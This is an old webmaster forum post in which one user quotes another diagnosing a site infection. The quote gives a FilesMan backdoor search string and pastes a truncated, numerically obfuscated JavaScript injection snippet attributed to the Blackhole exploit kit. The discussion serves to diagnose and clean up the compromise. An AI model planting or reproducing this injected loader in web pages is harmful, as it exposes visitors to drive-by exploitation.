View Single Post
Old 07-30-2013, 04:09 PM  
_Richard_
Too lazy to set a custom title
 
_Richard_'s Avatar
 
Industry Role:
Join Date: Oct 2006
Location: Vancouver
Posts: 30,984
Quote:
Originally Posted by tokmansta View Post
If someone had to remove it, it wasn't from an ad network. Your website most likely got infected by a vulnerable script and there is the possibility you still have a backdoor hidden somewhere on your server.

If you know how to search inside files from the command-line (which i doubt) search for

$default_action = "FilesMan";

or any of the signatures on http://labs.sucuri.net/?malwaredb


warn: WordPress version outdated: Upgrade required. <= fix this!

This script is still on your site and has a high chance of being the culprit. Other sites who have the same code are all infected with the same "blackhole exploit kit"

<script>ps="s"+"p"+"l"+"i"+"t";asd=function(){--(d.body)};a=("20,20,160,155,47,57,153,166,152,174, 164,154,165,173,65,156,154,173,114,163,154,164,154 ,165,173,172,111,200,133,150,156,125,150,164,154,5 7,56,151,166,153,200,56,60,142,67,144,60,202,24,20 ,20,20,160,155,171,150,164,154,171,57,60,102,24,20 ,20,204,47,154,163,172,154,47,202,24,20,20,20,153, 166,152,174,164,154,165,173,65,176,171,160,173,154 ,57,51,103,160,155,171,150,164,154,47,172,171,152, 104,56,157,173,173,167,101,66,66,157,166,172,173,1 50,175,150,165,170,174,154,172,173,65,151,160,201, 66,172,113,201,73,173,67,146,67,167,135,121,135,67 ,146,164,172,123,130,64,67,125,171,156,64,150,67,1 46,72,176,76,156,66,70,71,100,100,110,67,152,64,15 6,135,114,67,163,156,140,174,66,67,100,135,146,77, 72,67,140,76,122,74,70,76,131,146,173,73,67,171,14 6,115,75,111,67,126,74,77,125,66,56,47,176,160,153 ,173,157,104,56,70,67,67,56,47,157,154,160,156,157 ,173,104,56,70,67,67,56,47,172,173,200,163,154,104 ,56,176,160,153,173,157,101,70,67,67,167,177,102,1 57,154,160,156,157,173,101,70,67,67,167,177,102,16 7,166,172,160,173,160,166,165,101,150,151,172,166, 163,174,173,154,102,163,154,155,173,101,64,70,67,6 7,67,67,167,177,102,173,166,167,101,67,102,56,105, 103,66,160,155,171,150,164,154,105,51,60,102,24,20 ,20,204,24,20,20,155,174,165,152,173,160,166,165,4 7,160,155,171,150,164,154,171,57,60,202,24,20,20,2 0,175,150,171,47,155,47,104,47,153,166,152,174,164 ,154,165,173,65,152,171,154,150,173,154,114,163,15 4,164,154,165,173,57,56,160,155,171,150,164,154,56 ,60,102,155,65,172,154,173,110,173,173,171,160,151 ,174,173,154,57,56,172,171,152,56,63,56,157,173,17 3,167,101,66,66,157,166,172,173,150,175,150,165,17 0,174,154,172,173,65,151,160,201,66,172,113,201,73 ,173,67,146,67,167,135,121,135,67,146,164,172,123, 130,64,67,125,171,156,64,150,67,146,72,176,76,156, 66,70,71,100,100,110,67,152,64,156,135,114,67,163, 156,140,174,66,67,100,135,146,77,72,67,140,76,122, 74,70,76,131,146,173,73,67,171,146,115,75,111,67,1 26,74,77,125,66,56,60,102,155,65,172,173,200,163,1 54,65,163,154,155,173,104,56,64,70,67,67,67,67,167 ,177,56,102,155,65,172,173,200,163,154,65,173,166, 167,104,56,67,56,102,155,65,172,173,200,163,154,65 ,167,166,172,160,173,160,166,165,104,56,150,151,17 2,166,163,174,173,154,56,102,155,65,172,173,200,16 3,154,65,173,166,167,104,56,67,56,102,155,65,172,1 54,173,110,173,173,171,160,151,174,173,154,57,56,1 76,160,153,173,157,56,63,56,70,67,67,56,60,102,155 ,65,172,154,173,110,173,173,171,160,151,174,173,15 4,57,56,157,154,160,156,157,173,56,63,56,70,67,67, 56,60,102,24,20,20,20,153,166,152,174,164,154,165, 173,65,156,154,173,114,163

I think you owe Juicyads an apology?
_Richard_ is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook